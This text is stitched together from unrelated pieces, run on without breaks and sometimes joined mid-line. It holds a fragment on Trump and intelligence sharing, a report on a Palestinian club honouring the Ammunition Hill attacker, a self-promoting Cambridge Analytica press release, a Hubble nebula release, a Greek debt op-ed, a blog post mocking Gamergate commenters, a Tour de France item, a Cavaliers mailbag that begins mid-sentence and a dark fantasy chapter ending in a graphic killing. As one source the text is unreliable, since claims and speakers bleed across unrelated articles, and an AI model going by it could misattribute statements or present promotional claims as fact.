On Monday night Ben Smith, editor-in-chief of BuzzFeed, also weighed in, expressing in a tweet that an official had confirmed that Trump's actions were more serious than many originally thought.
Erickson also noted that the source of the information is "seriously pro-Trump." He added, "The President does not seem to realize or appreciate that his bragging can undermine relationships with our allies and with human intelligence sources."Members of the Palestinian soccer team Hilal Al-Quds were photographed on Thursday holding a banner in honor of the killed terrorist who murdered two on Jerusalem's Ammunition Hill on Sunday. The 40-year-old terrorist's name, which was cleared for publication on Thursday, was Masbah Abu Sabih.
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Alongside a picture of Abu Sabih, a resident of the east Jerusalem neighborhood of Silwan, the banner contained the text, "The Hilal Al-Quds Club mourns the lion of al-Aqsa, the martyr, the hero Masbah Abu Sabih." The players also stood for a moment of silence in memory of the man who murdered 1st Sgt. Yossi Kirma and Levana Malihi
Hilal Al-Quds Club with the banner
A Hamas poster celebrating and featuring Masbah Abu Sabih
The IDF sealing off the family's sweetshop (Photo: IDF Spokesperson)
Distributing sweets after the attack
Abu Sabih's victims Levana Malihi and Yossi Kirma
The players were playing in the Faisal Al-Husseini International Stadium in al-Ram, north of Jerusalem. Though Abu Sabih's place of residence was officially Silwan, he resided for many years in al-Ram, along with his family, who own a sweetshop in the city, which the IDF closed after they were distributing sweets to the city's residence in celebration of the terrorist attack.NEW YORK, NY /PRNewswire-USNewswire/ — “There are no longer any experts except Cambridge Analytica. They were Trump’s digital team who figured out how to win.” Frank Luntz
No one saw it coming. The public polls, the experts, and the pundits: just about everybody got it wrong. They were wrong-footed because they didn’t understand who was going to turn out and vote last Tuesday.
Except for Cambridge Analytica, the data company at the heart of the Trump campaign, working in collaboration with the RNC and Brad Parscale.
The firm knew that Mr. Trump had a very solid shot at winning, because it saw trends that no else did, and it knew how to interpret them correctly.
“The trends that we saw, a lot of people didn’t want to believe it,” says Matt Oczkowski, who headed the Data Science team. “The outcome was very difficult to predict, and we didn’t get every state right, but we saw the trends that meant we were quietly confident.”
The team’s internal data saw what was going to happen in states like Pennsylvania and Ohio, because it understood who was going to vote on Election Day.
Uniquely, Cambridge Analytica understood how Trump supporters were different from traditional Republican voters such as those who voted for Mitt Romney in 2012. It knew who those Trump supporters were and the issues they cared about.
Ahead of the election, Cambridge Analytica’s internal data showed the race tightening because its data scientists had seen previously hidden trends in voter sampling, and new trends in absentee ballots and early voting, particularly in rural areas. “This led us to predict a significant lift for Mr. Trump in the industrial Midwest,” says Lead Data Scientist Dr. David Wilkinson.
Among the trends: an increase in the rural vote, a drop in African-American turnout, and a one to three point boost from voters who had hitherto not declared themselves for Trump: the so-called “hidden” vote.
“Their analysis was based not on punditry or the art of politics, but on data science and a rigorously scientific approach to research and polling,” says Cambridge Analytica CEO Alexander Nix.
“This is not something that political intuition would tell you,” says Oczkowski, “but our models predicted most of these states correctly. What also gave us an advantage over polling companies is how quickly we were able to react by updating models to take into account where the demographic was shifting.”
“We are extremely proud of the work that we were able to do in collaboration with the campaign. Data’s alive and kicking. It’s just how you use it and how you buck normal political trends to understand your data.”
Bloomberg: “Trump’s Data Team Saw a Different America – and They Were Right”
Wall Street Journal: “The election upset is seen as a coup for Cambridge Analytica”
Mashable: “How a little-known data firm helped Trump become president”
Wired: “Cambridge Analytica stood entirely alone. From Nate Silver’s FiveThirtyEight model to The New York Times’ the Upshot model to the Clinton campaign’s own public projections, it seemed a foregone conclusion that Hillary Clinton would win.
About Cambridge Analytica:
Cambridge Analytica, the U.S. affiliate of SCL Group, is the market leader in the provision of data analytics and behavioral communications for political campaigns, issue groups and commercial enterprises. With cutting-edge technology, pioneering data science, and 25 years of experience in behavior change, CA provides advertisers with unparalleled insight into their audiences. More information can be found at: https://cambridgeanalytica.org.Astronomers have used NASA's Hubble Space Telescope to photograph the iconic Horsehead Nebula in a new, infrared light to mark the 23rd anniversary of the famous observatory's launch aboard the space shuttle Discovery on April 24, 1990.
Looking like an apparition rising from whitecaps of interstellar foam, the iconic Horsehead Nebula has graced astronomy books ever since its discovery more than a century ago. The nebula is a favorite target for amateur and professional astronomers. It is shadowy in optical light. It appears transparent and ethereal when seen at infrared wavelengths. The rich tapestry of the Horsehead Nebula pops out against the backdrop of Milky Way stars and distant galaxies that easily are visible in infrared light.
Hubble has been producing ground-breaking science for two decades. During that time, it has benefited from a slew of upgrades from space shuttle missions, including the 2009 addition of a new imaging workhorse, the high-resolution Wide Field Camera 3 that took the new portrait of the Horsehead.
The nebula is part of the Orion Molecular Cloud, located about 1,500 light-years away in the constellation Orion. The cloud also contains other well-known objects such as the Great Orion Nebula (M42), the Flame Nebula, and Barnard's Loop. It is one of the nearest and most easily photographed regions in which massive stars are being formed.
In the Hubble image, the backlit wisps along the Horsehead's upper ridge are being illuminated by Sigma Orionis, a young five-star system just out of view. Along the nebula's top ridge, two fledgling stars peek out from their now-exposed nurseries.
Scientists know a harsh ultraviolet glare from one of these bright stars is slowly evaporating the nebula. Gas clouds surrounding the Horsehead already have dissipated, but the tip of the jutting pillar contains a slightly higher density of hydrogen and helium, laced with dust. This casts a shadow that protects material behind it from being stripped away by intense stellar radiation evaporating the hydrogen cloud, and a pillar structure forms.
The Hubble Space Telescope is a project of international cooperation between NASA and the European Space Agency. NASA's Goddard Space Flight Center in Greenbelt, Md., manages the telescope. The Space Telescope Science Institute (STScI) in Baltimore, Md., conducts Hubble science operations. STScI is operated by the Association of Universities for Research in Astronomy Inc., in Washington.
Launched in 1990, NASA's Hubble Space Telescope has made over 1 million observations of more than 36,000 celestial objects.
In its 23-year lifetime the telescope has made nearly 126,000 trips around our planet. Hubble has racked up plenty of frequent-flier miles, more than 3 billion, which is roughly Neptune's average distance from the Sun.
One terabyte of Hubble data is added to the archive every month.
Astronomers using Hubble data have published more than 11,000 scientific papers, making it one of the most productive scientific instruments ever built.Violating the terms of its bailout program, the Greek government recently announced that it will distribute a sizeable “Christmas gift” to Greek pensioners even though this requires additional borrowing from the EU since the Greek budget is not balanced and Greece cannot borrow from money markets. The move has prompted the EU finance ministers to freeze implementation of debt restructuring. Greece is at the brink again.
This is the modern-day, Greek economic tragedy. But unlike the three-acts ancient Greek tragedies, we’ve seen many acts and often the horrible events happen on stage. Of the main actors, the Greek government repeatedly threatens with suicide elections; the IMF tries to apply the same rules to all countries irrespective of development level; the EU bureaucrats paint a rosy picture with no grounding in reality or economics, and German Finance Minister Wolfgang Schaeuble keeps reading the same austerity rulebook no matter what the circumstances. Even worse, there is practically no dialogue among the actors – they deliver their monologues past each other, each trying to please a different chorus. How did we get here (again), is there hope, and, more importantly, and how does it end?
After two large bailouts in 2010 and 2012 from the EU and the IMF, and after a negotiated haircut of €100 billion off its bonds, Greece was close to recovery in 2014. It had reversed the 2010 15-plus percent deficit and achieved a small primary surplus (before paying interest), reached growth after four years of recession, and even issued new bonds. However, the fiscal consolidation did not happen through spending cuts but rather through large increases in taxation, resulting in a multi-year recession. With Greeks having lost 25% of their income, and unemployment at 25%, disaffected voters brought to power a tiny, radical left party in early 2015.
Following a defiant stance in early 2015, which resulted in closed banks, capital controls, reversal of growth and exclusion from money markets, the present radical left Greek government signed an onerous agreement. The agreement provided Greece a new loan of €87 billion, yet required that Greece achieve a 3.5% of GDP surplus (through more austerity) for a number of years. This target was clearly not feasible, and the Bank of Greece proposed a surplus of 1.5% to 2% of GDP. The IMF agreed with this target, and has asked the EU to restructure Greek debt obligations consistent with this target as well as for implementation of structural reforms that would make the Greek economy competitive. However, the EU has insisted on the 3.5% surplus target and painted an unrealistically rosy picture of the Greek economy to make this target appear feasible, while not pressing Greece on reforms.
Greece’s choice was a no-brainer: side with the IMF, have less austerity, have immediate and deep debt restructuring, and implement reforms that will make Greece more competitive and bring it out of the crisis. Instead, the Greek government sided with the EU, accepted higher austerity and less debt restructuring. Why? The Greek government wants to avoid reforming and shrinking the State because civil servants are its main block of voters. Compounding this error, the Greek government has now violated the fiscal agreement and reverted to the defiant tactics of the first half of 2015. But there’s still hope.
The solution to the Greek crisis is obvious and has been obvious for some time: make reforms, cut state expenditure, cut taxes, simplify investment procedures, open markets to competition, and proceed with privatizations. The present Greek government has failed in all of these dimensions.
Fortunately, for Greece, a pro-reforms consensus is emerging. All opposition parties with the exception of the Communist and the Nazi party are now pro-reform. Additionally, a reformist politician, Kyriakos Mistotakis, has been elected leader of the main opposition party, center-right New Democracy, which presently has a large lead in polls. He has advocated a strictly reformist agenda.
There are two additional factors that make reforms more likely to succeed now. First, the IMF fully supports the reforms and is willing to battle with the Europeans for debt restructuring, less austerity, and more reforms. Second, many Greeks, having tried everything else, now see reforms as the only way out of the crisis.
Reforms and fiscal discipline is the only way for Greece to survive and prosper in the European Union. The alternative, Grexit, would plunge Greece to poverty and hyperinflation leading to a crisis a-la-Venezuela in Europe.
Nicholas Economides is a professor of economics at the NYU Stern School of Business and has advised the Greek government and Bank of Greece.So the lovely people on Kotaku in Action on Reddit have discovered my post yesterday about the reactions of various Gamergaters on Twitter to Hulk Hogan’s recent legal win over Gawker.
Naturally, gators being gators, they manage to get themselves pretty worked up over a number of points I didn’t actually make. Gators remaining gators, there’s really no point in trying to correct them, as this will only give them more opportunities to misrepresent me.
Instead, let’s take a moment to look at some of the most highly upvoted comments in this edifying discussion that are, well, a bit more personal.
Here, with 98 net upvotes, is the most-upvoted comment in the thread, the comment that KiA collectively feels is the most valuable of them all:
This next comment, which garnered dozens of net upvotes, spurred a somewhat surreal discussion:
I may have to put this one in the We Hunted the Mammoth press kit:
This one only got a couple of upvotes, but it’s defintely going in the press kit. Hell, I’m tempted to make it the official WHTM slogan:
This one is a bit puzzling, but I do like the suggestion that telling someone to drink bleach is basically the same as saying they need to have their mouth washed out with soap. (Note: while neither of these procedures is recommended, only one will result in painful death.)
Given that to Gators will happily upvote insults and nonsense, you may wonder how exactly one might go about getting downvoted.
Here’s how:
It may be a little hard to see, because the text is small and light grey, but this comment has negative 26 points.
Gators will forever be gators, I guess.
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Like this: Like Loading...Bradley Wiggins won his first Tour de France stage yesterday in Besançon wearing a custom skinsuit that Sky designed with the race organiser’s and cycling federation’s approval.
The team of marginal gains planned for the yellow kit months in advance in case Wiggins would be leading the race in one of the key time trials. “He has the right to ride in his own kit,” Event Director Jean-François Pescheux told Cycling Weekly, “so did Lance Armstrong and Miguel Indurain.”
Sky played down the kit yesterday after Wiggins won the time trial. Sky’s Head of Business Operations, Fran Millar worked with ASO to prepare a team model. However, she was tight-lipped when approached yesterday about it, referring the questions to ASO.
Wiggins, just 24 hours earlier, failed to give any clues away. He explained that he thought he would be riding in the race issue Le Coq Sportif skinsuit instead of his usual custom Adidas model.
“To be honest, I haven’t really thought about it,” he said in a press conference. “I guess it’s Le Coq Sportif, they made the kit, so…”
When speaking to our sister title Cycle Sport in March, he said that he hoped to be in his own Adidas skinsuit. “I’ll hopefully not be in the jersey so I can wear my team skinsuit,” Wiggins told said at the time. “Just a couple of seconds off the lead, hopefully behind someone who’s s**t at time trialling.”
Wiggins leads by 1-53 minutes over Cadel Evans (BMC Racing) after the first 41.5km time trial in which he beat the Australian by 1-43 minutes. They still have six mountain stages through the Alps and Pyrenees before the next 53.5km time trial.
The Tour organiser, ASO was less accomodating last month in the Critérium du Dauphiné. Wiggins led the race and time trialled in the obligatory race-issue yellow kit. At the time they offered him a small, medium or large kit – he selected medium. Although Wiggins won there too Team Sky pushed ahead for its own yellow kit.
“Sky asked ASO to design its own kit, respecting the logos. The problem is it is difficult to check, there can be a problem in terms of colour or with the logos incorrectly sized,” ASO race official, François Lemarchand told Cycling Weekly at the Dauphine.
“They will be given all the details, maybe they will show up with a skinsuit, but it will be a last moment decision… If Sky does it, then the whole world will want to do it. Everyone has to be on the same level.”
Pescheux did not say when the decision was made, indicating that the possibility had always been there since the days of Indurain.
Related links
Wiggins’ Dauphine time trial clothing dilemma
Tour de France 2012: Latest news
Wiggins proud of Tour time trial stage win
Wiggins lashes out after doping accusations
Evans and BMC out-gunned by Sky in the mountains
Wiggins looking to keep Tour lead until Paris
Froome on Tour stage win: I had the legs and went for it
Martin to lead Garmin in the mountains as Hesjedal withdraws
Dislocated shoulder hinders Greipel sprint
Hesjedal may be out of Tour after Garmin suffer in crash
Stage seven video preview
The Feed Zone: Tour news round-up (July 5)
Celebrating the Tour’s lead-out men
Liquigas’s yellow and green jersey aim at Tour
Brailsford: Sky on the front for Cav and Wiggins
Tour de France 2012: Teams, riders, start list
Tour 2012: Who will win?
Tour de France 2012 provisional start list
Tour de France 2012 team list
Tour de France 2012: Stage reports
Stage nine: Wiggins destroys opposition in Besancon TT
Stage eight: Pinot solos to Tour win as Wiggins fights off attacks
Stage seven: Wiggins takes yellow as Froome wins stage
Stage six: Sagan wins third Tour stage
Stage five: Greipel wins again as Cavendish fades
Stage four: Greipel wins stage after Cavendish crashes
Stage three: Sagan runs away with it in Boulogne
Stage two: Cavendish takes 21st Tour stage victory
Stage one: Sagan wins at first attempt
Prologue: Cancellara wins, Wiggins second
Tour de France 2012: Comment, analysis, blogs
Analysis: What we learned at La Planche des Belles Filles
Analysis: How much time could Wiggins gain in Tour’s time trials
CW’s Tour de France podcasts |
intention of making a change and they'd completely disagree with your assessment of their coach. They've played 10 games (through Friday). I know they haven't looked good, especially on the road, but adjusting to a new system takes some time, certainly more than 10 games. I think you have to give them at least a couple of months. Sorry if that's not what you want to hear.
Hey, Mary: It seems apparent to me that there seems to be a chemistry problem with the Cavaliers. Their perimeter game is horrendous. Their spacing on the floor, their passing and moving without the ball, which are all fundamentals, is non-existent. What is the possibility that the Cavaliers will entertain some trades to resolve this problem? -- Bob Cauley, Henderson, NV
Hey, Bob: The game plan right now is to keep working with the players on hand. Again, they've played 10 games through Friday. This group needs to learn how to work together on both ends of the floor and the only way they can do that is to spend more time together. Throwing someone new into the mix isn't going to help.
Hey, Mary: Do the Cavs actually run any plays on offense? I swear, half our possessions end with four guys standing around while one of our guards jacks up a mid-range jumper. Even in the last possessions of tight games, Mike Brown resorts back to his patented "Clear out for Kyrie/LeBron" sets. We look about 10 percent better than last year, and 90 percent less fun to watch. -- Joe Supan, Bainbridge
Hey, Joe: The Cavs admittedly are running very basic NBA sets while they concentrate on the defensive end. Again, it is going to take some time for everyone to make the adjustment to Mike Brown's system. Everyone seems to forget how bad the Cavs looked the last three seasons. I don't remember anyone saying they were fun to watch last April. Give this some time.
Hey, Mary: Fans are going crazy. What can Cavs management do to calm down fans who are calling for Mike Brown's and Chris Grant's heads -- or are these fans right? What does Cavs management believe to be realistic expectations in one month, three months for this team to gel? What is coach Brown's strategy to improve offense? Do the Cavs need a press secretary? Who actually speaks for the team? -- Ken Phillips, Chicago
Hey, Ken: From owner Dan Gilbert on down, the Cavs have been asking fans to be patient while Mike Brown installs his new system. It is going to take more than 10 games to catch on. By and large, Brown speaks for the organization instead of Gilbert or general manager Chris Grant, though Gilbert often tweets his observations and messages to fans.
Hey, Mary: With the Cavs recent losses, doesn't this team -- specifically the offense -- resemble the old Cavs under Mike Brown where LeBron had the ball and everyone watched? It seems like Mike Brown's offense just substituted Kyrie Irving in place of LeBron. -- Darnel Austin, Euclid
Hey, Mary: Is Mike Brown the NBA's Rex Ryan? He seems like he only has the ability to coach one side of the game. -- Dani G, Orange Village
Hey, Darnel and Dani: It's no secret that Mike Brown was hired to right things defensively, and that has been where most of his focus has been. They are better at that end -- ranked 13th in opponent field-goal percentage this season vs. 30th last season. But it is an ongoing process. He had planned to run basic NBA sets while installing his defense, but once Andrew Bynum was well enough to start, Brown realized he had to put in some plays to get Bynum the ball. He did that in practice on Tuesday, but then Bynum missed the next two games to attend to a family medical matter. So changing lineups and rotations hasn't helped.
Hey, Mary: It seemed ho-hum bringing back Mike Brown, everyone is always concerned how long Anderson Varejao will last, the Andrew Bynum signing was hope against hope, Anthony Bennett appears a bigger question mark than when he was picked, and the rest of the squad besides Irving and Thompson are pretty average at best. This all concerns me for the long haul. Is there a brighter side I'm not seeing? -- Nick Green, Antigua, Florida
Hey, Nick: Nick, obviously you have lots of company if this week's Hey Mary submissions are any indication. But I'm going to tell you the same thing. You've got to be patient. Cavs fans certainly have been that these last three years, but it's going to take time to turn this around. The Cavs are committed to doing so. That should make you feel better.Previous Next
The old man stared out the window as he talked. The rain was coming down hard. Cups clinked softly as tea was poured, while the rain beat a drum on the roof. The entire building creaked with the way the wind blew the branches that extended from the outside.
“We need soldiers,” he said.
“We have soldiers,” Cynthia replied. She was dressed in the latest fashion, with a shorter dress and a long jacket that hugged her body, corset-like bindings closing it at the front. “We have three men for every one the Academy is prepared to field.”
Avis shook her head, “They have experiments, and regiments of stitched prepared for war. Even with the sabotage, one stitched is worth ten soldiers.”
“I’d argue that,” Louis said. He was seeing to the tea. He looked like a proper hunter, with a plaid print to his jacket, the red and the black matching to his maroon slacks and fine leather boots. He was an odd pair, put next to Percy. Louis’ build was barrel-chested and muscular, he was clean-shaven, and his ginger hair was wavy, though cut in a flattering way. Percy was narrow, pale in complexion, with his straight black hair slicked back from a widow’s peak, his beard combed and mustache waxed, an early gray at the temples and corners of the mouth.
The old man favored a more moderate approach. Louis attracted attention because he was a manly sort, Percy because he was a scholar, likely the sort of teacher many schoolgirls had been enamored with, before the touch of grey reached his hair. The old man walked a middle ground, where he could go unnoticed in virtually any place in Radham.
“I’m sorry, Louis, but I agree with Avis,” Percy said, picking up one cup of tea and walking over to hand it to Avis.
One or two members of the group snuck looks at the old man. He could see out of the corner of his eye.
“Avis is right,” the old man said.
Tea in hand, smiling, Avis took a seat in the corner, dropping down with enough force that the birdcage next to her rocked, the occupants protesting shrilly. She put out one hand out to steady the cage, then set her tea down, one ankle folding over the other. Her dress was ten years out of fashion, following the lines of her body down to the ankle, a vest keeping the ruffles contained to the collar and the sleeves, but her hair and horn-rimmed glasses were in vogue.
“You’ll have to say why,” Cynthia suggested.
“Avis can explain,” the old man said. He was more than capable, but he needed to curry favor where he could, and this would be one of the last times he interacted directly with the woman. Avis was too important. She was only one step away from being in complete control of all communications within Radham Academy, and she was charged with many of the more covert ones, the ones that necessitated flying messengers.
Avis liked to take her time before making a statement, which was a predilection that matched her other job well. Everyone in the room waited, some patiently, some impatiently, for the woman to speak.
The old man quietly thanked Percy as tea appeared on the small table by the window.
“Have you ever seen a real fight, Cynthia?” Avis asked, sounding more than a little arrogant.
“I’ve been in more real fights than I could count. It is, in fact, a large part of what Louis and I do here.”
“I’ll rephrase. Have you seen a battlefield? War?”
Cynthia shook her head.
“I have,” Louis said.
“With humans?” Avis pressed.
“I was one of those humans. You know this.”
“From my experience on battlefields, I know that when you send men into a fight, they’re scared. If you tell them they have to shoot or be shot, many will not shoot. Humans naturally trend toward wanting to survive and being part of a group.”
“And war doesn’t support either of the two?” Cynthia asked.
“War most definitely supports both,” Avis said. “However, it should be stressed that fighting in a war doesn’t. The difference feeds the endless restlessness between the nobility and the people.”
“How very clever,” Cynthia said, in a droll tone.
“In an actual war, you’ll see two or more groups of people trying to poke their head up out of cover, work up the courage to aim their weapon and then pull the trigger to kill the other person. You have to twist their arms to make them go over the breach, you play on ideology, or you convince them, and I do very much mean convince them, that they have no other choice. A stitched has no such reservations. A stitched doesn’t tend to stop and turn tail when his friend next to him gets gunned down.”
“That’s not necessarily a good thing,” Louis said. “It’s easy to lose an entire regiment to the same machine gun, if the man giving orders isn’t prepared. There are tradeoffs. The Academy needs infrastructure. While the war is ongoing, they won’t have it.”
Avis sipped at her tea, then said, “We agree there. The logistics of it all… so long as we have the roads blockaded and bombed, they can’t move from A to B. Without the trains and wagons coming in from the farms on the outskirts, they can’t eat or feed their experiments.”
“But,” Cynthia said, “you said we need soldiers, Godwin? You’re not confident?”
It was a question she asked while already knowing the answer. She was very much in his camp, and she was informed. He had talked to her about this before.
Godwin took the question as his excuse to turn and face the occupants of the room. “No, I’m not confident. Things are still preliminary, the people are on our side, but we’re not moving forward, and the Academy is figuring out solutions. It’s what they do. The Academy retook Westmoreland.”
“The mountains of Columbia are the Academy’s primary mining operation in the west,” Cynthia said, for the benefit of the others present. “Westmoreland, Columbia is the second highest producer of weapons for the Crown States. For as long as they have it operational, they’re going to be armed.”
Godwin nodded. “It’s a coup for them. They’re going to start retaking ground. On the large scale, with Westmoreland, and on the small scale, here. They’re nosing around, looking for us, specifically, and they’re getting close. There were advantages to being in Radham, our close contact with Avis foremost among them-”
“Thank you,” Avis said, preening.
“-But the risks are too great. We were able to lead things in the abstract, now we need to be more direct. We’ll need to split up. Each of us in a different city. To be effective whilst we’re doing that, we’ll need soldiers.”
“And the regular rank and file won’t do?” Louis asked.
“Those are men. I believe we need more capable individuals. As of right now, odd as it may sound, Academy dropouts and individuals like Mr. Percy here are in higher demand than the best the Academy has to offer. The Academy’s people currently have no other choice but to work for the Academy, but the people who have the knowledge and lack the loyalty… they can be swayed to either side, and they’re favoring ours.”
He had the rapt attention of everyone present. Louis seemed most comfortable hearing all of this, and was busy pouring himself another cup of tea.
“I’ll reach out, speak to some people, and I’ll have the money. What I need you to do right now is find the people with the necessary skills. The Academy has been quietly removing quite a number of them. Mr. Percy was one close call in that respect. We’ll find them and make them offers they can’t refuse. If the money doesn’t sway, quietly let them know we have the knowledge, and if you feel they’re worth the risk, we’ll go a step further and actually tell them who we are, inviting them to the inner circle.”
The others nodded.
“I’ll miss this,” Cynthia said. “Losing the more intimate setting, having a voice without shouting.”
“I can’t imagine you shouting,” Percy said.
Cynthia smiled at that.
“For the time being, focus on staying safe, make sure you aren’t being followed, particularly by Dogs.”
“Or little children,” Percy said, frowning.
“Especially little children,” Godwin agreed. “Louis. A man named Reverend Mauer is managing one of the larger and more successful revolutionary groups. I think you and he would complement each other nicely. Would you reach out?”
“I can.”
“And Cynthia, we’ve already discussed it-”
“Already doing what I can. They’re slippery, and they don’t want to be found.”
Godwin nodded. “Percy? Keep doing what you’re doing.”
“I’d like to think I’m making soldiers rather than recruiting them,” Percy said.
“You are, indeed,” Godwin said. He took a sip of his tea. “The most dangerous time and place for you is when you’re on your way from Radham to your new accommodations.”
“Which are where?” Avis asked.
“I’ll let you know in private,” Godwin said. He frowned. “From here on out, we’re operating in cells. I trust each of you. Do as you deem appropriate. You’ll each be in touch with one other cell. If you find you can’t reach them, then and only then should you reach out to me or Avis. Make preparations. We’ll meet in the morning, I’ll let you know particulars, and you’ll each leave.”
“So soon,” Cynthia said.
“Right now, we’re safe, we’re free, we have control of the roads and the railroad. In two days, that might change,” Godwin said.
Cynthia frowned, but she didn’t argue.
The others were already standing, and the ones who weren’t wearing jackets pulled some on, with many getting umbrellas. Cynthia lagged behind the rest.
“Thank you, by the by, for the tea, Louis,” Godwin said. “I enjoyed that one.”
“You’re very welcome,” Louis said. “I left you a small box of the teabags.”
“Good lad,” Godwin said.
Percy and Louis left together, with Avis a few paces behind.
The door clicked shut.
Cynthia took a moment to pick up the scattered saucers and teacups, holding two in each hand on her way to the little sink.
“Something on your mind?” Godwin asked.
“Percy.”
“Ah.”
“We told him that all of his creations were destroyed by the Lambs. If he discovers that they recruited one of them…”
“He’s very passionate, whatever he expresses on the surface.”
“He is.”
“What a very inconvenient man.”
“A very good way of putting it,” she said.
“I’d hoped to discard him, but he has a damnable way of making himself essential.”
“I’ll watch him,” she said. “I just wondered if you had any thoughts.”
He went through the little building and extinguished lights, then pulled on his raincloak. He joined her in exiting the building.
They were joined by the pair of experiments that had been standing in the hallway. Cynthia’s. The things were tall, narrower around than even the lithe Cynthia, and draped in rain cloaks that dragged on the ground. Each had large eyes and bat’s ears placed on otherwise underformed and unadorned faces. Chinless, noseless, the mouths frozen in a perpetual expression of a child that had just put a ball through a stained glass window. Neither blinked as rainwater ran down from their too-short foreheads and over the balls of the eyes, or even bounced off the orbs themselves.
Radham glowed, even at night. Temporary lamps with flickering bioluminescent lights within were placed at regular intervals between the regular lights, giving the patroling squadrons of stitched soldiers a better view of the surroundings. It was only approaching sundown, but the rain came down hard, and the gloom gave the impression of a later hour than it really was. Bridging the gap between winter and spring, it was an especially cold rain, cutting right through the raincloak, flesh and muscle to dig into the bone.
The eyes of a dozen stitched soldiers watched as the two of them walked down the length of the street, unblinking. The heads of the stitched moved slowly to track them, each of them moving in unison.
The riots had been quelled, but the fact that Radham needed to keep a boot on the throat of this downed enemy was a win. It bred resentment, and it limited how freely Radham could move.
Cynthia spoke up, when they were out of earshot of the stitched. “I was thinking. Lambert Academy, in Greysolon?”
Godwin casually looked around to make sure they were alone. It was probably safer than being indoors, he had to admit. The bat-eared experiments were on the alert, and the rain made for a lot of cover.
“A win for us, as much as Westmoreland was a win for them.”
“A win might be understating it. Lambert academy burned, the people that weren’t burned alive were rounded up, made to kneel, and put to the knife. It was symbolic, something the other revolutions could aspire toward.”
Godwin grimaced. “Bullets would have been kinder.”
“Bullets are precious to some.”
“What got you thinking about Lambert?”
“Most burned or faced the knife, but not all. There have been rumors about a set of Lambert’s experiments roaming around. I asked Avis, and she doesn’t think they’ve been in touch with any of the other Academies.”
“What are you thinking?”
“I’m thinking they might not be particularly attached to the other Academies. They’re almost human, they’re functional, they can work and earn food and shelter, but I can’t imagine it’s easy for them. It’s not what they’re meant to do.”
“What are they?”
“Lambert’s clean-up. Lambert doesn’t have enough work, so it sends them out here and there. They’re more about the kill than the capture. Four individuals.”
“What’s the difficulty?”
“If I’m wrong and I reach out, they’ll come after me.”
“You’ve dealt with worse, Cynthia.”
There was a pause.
“No?” he asked.
“If they came after me, I’m not certain I could survive it.”
“Then play it safe.”
“You’re sure?”
“You don’t sound convinced they could be swayed.”
She shook her head, shifting her umbrella to her other hand, “I’m not.”
There was another group of stitched at the end of the block. They were accompanied by a creature that stood twice as tall as a man. Even from the other side of the street, Godwin could smell it. A chemical smell.
“Curfew,” one stitched called out, sounding more like he was imitating the way it sounded than actually uttering the word.
Cynthia offered a little bow and flourish in response.
“Curfew!” the stitched hollered the word, emphasizing the wrong syllable, raising his voice to be heard as they continued walking, the stitched falling behind them now. “Soon! Bell tolls!”
Too dumb to realize she had been acknowledging it.
He felt uncomfortable and unhappy, the words ringing in his ears.
“I long for simpler times,” he said, abstractly.
“You’re not quite that old,” Cynthia said, patting his arm. “There were stitched when you were born.”
“Not so many. I’ve watched it all unfold. The rate of growth has been startling. I worry sometimes that you and the others don’t understand just what you’re facing. The cost, if we don’t get ahead of this.”
“We value your pessimism,” she said.
He smiled. “It’s saved us once or twice.”
“We all have reasons for doing this,” she said. “Greater ones and personal ones.”
“You have your personal reasons,” he said.
“I do?” she made it a question. Not because she wasn’t sure, but because she was wondering why he’d brought it up.
“Will that be a problem, if your search proves successful? Will you be able to understand someone with greater ones?”
“The woman that provoked the war? We’ll have to see,” Cynthia said.
“I worry,” he said. “If this was her first move, what is the next one?”
“And will we be caught up in it? I’ll look for her, Godwin.”
He smiled.
They’d reached his building, which was large but a touch ramshackle, in a less than stellar neighborhood. The important thing was that it was unassuming. Cynthia waited and watched, her pets standing there, heads slowly turning left and right, ears up and out, listening to every raindrop.
He opened the door, and stepped inside. Experiments stood on either side of the doorway. Cynthia’s, again. Sentries, knights clad in armor that grew like a bug’s exoskeleton.
He didn’t like it, but some things were necessary.
“I’ll see you in the morning,” he said.
Cynthia smiled and waved, leaving, her pets following behind.
To all appearances, a coquette. Louis was a soldier’s son, the man had moved on to active military service, lying about his age to get in sooner. Cynthia was different, almost the opposite. She had had no family, no guidance, and she had raised herself on ugly streets overseas, where gutters had literally run red with blood, and where experiments had been piled so carelessly on trash heaps beneath the Academies that they overflowed into the city, some still alive, others dangerous despite being dead.
All she had needed was a little refining.
He walked through the house, casually moving past the myriad traps that he and Cynthia had placed. He was here so rarely, the minor inconvenience hardly mattered. More sentries were stationed throughout the house, many shuffling faintly as they sensed the activity and exited their hibernation states.
He walked into the washroom and stared at himself in the mirror.
Cynthia knew him better than anyone else, she knew how he thought. The inverse was also true – he knew Cynthia better than anyone else. Yet he hadn’t spoken up and said the truth.
The war would get far worse before it got better. The Academy was retaking control, but the rebellions were still underway, and the Academy’s efforts weren’t quelling so much as they were holding things at bay.
Sooner or later, things would reach a tipping point. To retake control, the Academy would need to do something significant. Institutions of this scale had only so many ways they could achieve that kind of control.
Fear was one, and he didn’t want to think about what the Academy might do to generate such a widespread fear.
The only way forward would be to beat them to the punch.
To do something horrific.
For that, he needed the woman who had started the war. He needed those talents, and he needed to be absolutely sure that she wasn’t already doing the exact same thing. Because if his group and her group both acted at the same time…
He couldn’t let that happen.
He bent down to wash his face, scrubbing, feeling old for the first time in a long time.
When he stood straight, he had company.
The man’s skin had been flayed away and reattached, overlapping strips, like the weave of a basket, head to toe, leaving every feature masked, but for a space for a toothless, tongueless mouth and two milky white eyes. The flesh around the edges of each strip of skin was scarred and flaky.
A mummy, wrapped in his own flesh, almost a straightjacket, but not quite. Two oversized hands were already reaching out.
Hangman.
They found me.
Godwin reached for his razor. He was jerked back before he had it, his finger running along the length of the handle.
Long fingers of two hands wrapped around his neck, one after the other. As the fingers fell neatly into place, interlacing, his neck was elongated, vertebrae popping. His fingers scrabbled for purchase on the sink, his legs kicked, but it was to no avail.
Another pop, a flash of pain filling his lower body, and then it all fell to pieces. The nervous impulses ran away from him, signaling motions he wasn’t making, pain and sensations he shouldn’t be feeling, all with a pressure that suggested his entire body had been crushed beneath a one-ton stone.
In the mirror, his arms and legs dropped, limp. He huffed out a breath and didn’t take another one.
The Hangman had dislocated his neck. He was lowered almost dismissively to the ground, as if forgotten, as the Hangman dropped one hand to its side and then let go, letting him fall to the floor, his head cracking against the tile.
He had a view, albeit one that had darkness swiftly flowing in from the edges, of the Hangman leaving much the way it had come in. It touched the door and hauled itself up to the top of the doorframe, as if it weighed no more than an equivalent amount of loose paper. It reached the ceiling, fingers bracing it against the walls on either side of the hallway, and then it was gone, whispering against the ceiling, past the sentries and defenses.
